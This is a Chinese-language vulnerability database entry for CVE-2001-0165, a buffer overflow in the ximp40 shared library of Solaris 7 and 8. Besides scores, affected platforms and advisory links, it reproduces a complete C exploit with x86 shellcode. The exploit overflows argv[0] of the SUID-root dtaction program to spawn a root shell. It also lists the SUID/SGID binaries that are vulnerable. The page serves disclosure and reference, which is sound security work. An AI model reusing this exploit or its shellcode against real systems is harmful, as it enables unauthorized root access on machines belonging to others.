CVE-2001-0165
CVSS7.2
发布时间 :2001-05-03 00:00:00
修订时间 :2008-09-05 16:23:26
NMCOE    

[原文]Buffer overflow in ximp40 shared library in Solaris 7 and Solaris 8 allows local users to gain privileges via a long "arg0" (process name) argument.


[CNNVD]Solaris 7和Solaris 8缓冲区溢出漏洞(CNNVD-200105-024)

        Solaris 7和Solaris 8中的ximp40共享库存在缓冲区溢出漏洞。本地用户可以借助超长"arg0"(进程名称)参数提升权限。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:sun:solaris:8.0
cpe:/o:sun:solaris:7.0::x86
cpe:/o:sun:solaris:7.0
cpe:/o:sun:solaris:8.0::x86

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0165
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0165
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200105-024
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/static/6039.php
(VENDOR_ADVISORY)  XF  solaris-ximp40-bo
http://www.securityfocus.com/bid/2322
(VENDOR_ADVISORY)  BID  2322
http://archives.neohapsis.com/archives/bugtraq/2001-01/0517.html
(VENDOR_ADVISORY)  BUGTRAQ  20010131 [SPSadvisory#40]Solaris7/8 ximp40 shared library buffer overflow

- 漏洞信息

Solaris 7和Solaris 8缓冲区溢出漏洞
高危 缓冲区溢出
2001-05-03 00:00:00 2005-10-12 00:00:00
本地  
        Solaris 7和Solaris 8中的ximp40共享库存在缓冲区溢出漏洞。本地用户可以借助超长"arg0"(进程名称)参数提升权限。

- 公告与补丁

        

- 漏洞信息 (20603)

Solaris 7/8 ximp40 Library Buffer Overflow Vulnerability (EDBID:20603)
solaris local
2001-01-31 Verified
0 UNYUN
N/A [点击下载]
source: http://www.securityfocus.com/bid/2322/info

Solaris is a variant of the UNIX Operating System, maintained and distributed by Sun Microsystems. It is freely available, with source code available.

A problem in the ximp40 library packaged with Openwin could allow a user to gain elevated privileges. Due to a problem with the handling of input by the programs linked against ximp40.so.2, it is possible to supply a long string, approximately 272 bytes, to the arg0 of the command, which will overwrite stack variables, including the return address of the program.

This makes it possible for a malicious user with local access to the system to execute arbitrary code, and depending upon which SUID binary is exploited, gain either EUID mail, or EUID root. Programs linked against the library that have been reported as vulnerable are:

*Solaris 8
suid root : /usr/dt/bin/dtaction
suid root : /usr/dt/bin/dtprintinfo
suid root : /usr/openwin/bin/sys-suspend
sgid mail : /usr/dt/bin/dtmail
sgid mail : /usr/openwin/bin/mailtool

*Solaris 7
suid root : /usr/dt/bin/dtaction
suid root : /usr/dt/bin/dtprintinfo
suid root : /usr/dt/bin/dtappgather
suid root : /usr/bin/admintool
suid root : /usr/openwin/bin/sys-suspend
sgid mail : /usr/dt/bin/dtmail
sgid mail : /usr/openwin/bin/mailtool

/*====================================================================
   Solaris ximp40 shared library exploit for Solaris8 Intel Edition
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by UNYUN (shadowpenguin@backsection.net)
   [usage]
    #xhost +targethost
    #telnet targethost
    ...
    %setenv DISPLAY yourhost:0.0
    %gcc ximp40.c
    %./a.out
    0:Default value 1:Calculated value > 1   <- Input 0 or 1
  ====================================================================
*/

#include  <stdio.h>

#define     BUF_SIZE        272
#define     EIP_OFFSET      260
#define     FAKE_OFFSET     264
#define     FAKE_VALUE      0x08046dec
#define     EIP_VALUE       0x08047cb4
#define     FAKE_VALUE_DIF  0xd9c
#define     EIP_VALUE_DIF   0x12c
#define     NOP             0x90

char    shell_code[]=
  "\xeb\x3b\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xc1"
  "\x88\x46\xc6\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x17\xe8\xdf"
  "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89"
  "\x5e\x08\x53\xb0\x3b\xe8\xc8\xff\xff\xff\x83\xc4\x0c\xe8\xc8\xff"
  "\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff"
  "\xff\xff";

unsigned long get_sp(void)
{
  __asm__(" movl %esp,%eax ");
}

void valset(char *p,unsigned int val)
{
    *p=val&0xff;
    *(p+1)=(val>>8)&0xff;
    *(p+2)=(val>>16)&0xff;
    *(p+3)=(val>>24)&0xff;
}

main()
{
    char            buf[BUF_SIZE];
    unsigned int    esp=get_sp(),sw;

    memset(buf,NOP,BUF_SIZE);
    memcpy(buf+EIP_OFFSET-strlen(shell_code),shell_code,
           strlen(shell_code));

    printf("esp=%x\n",esp);
    printf("0:Default value 1:Calculated value >");
    fflush(stdout);
    scanf("%d",&sw);
    if (sw==0){
        valset(buf+FAKE_OFFSET, FAKE_VALUE);
        valset(buf+EIP_OFFSET , EIP_VALUE);
        printf("Jumping address = %x\n",EIP_VALUE);
    }else{
        valset(buf+FAKE_OFFSET, esp-FAKE_VALUE_DIF);
        valset(buf+EIP_OFFSET , esp+EIP_VALUE_DIF);
        printf("Jumping address = %x\n",esp+EIP_VALUE_DIF);
    }
    buf[BUF_SIZE-1]=0;

    execl("/usr/dt/bin/dtaction",buf,NULL);
}

		

- 漏洞信息

1752
Solaris ximp40 Library arg0 Local Overflow
Local Access Required Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

- 时间线

2001-01-31 Unknow
2001-01-31 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站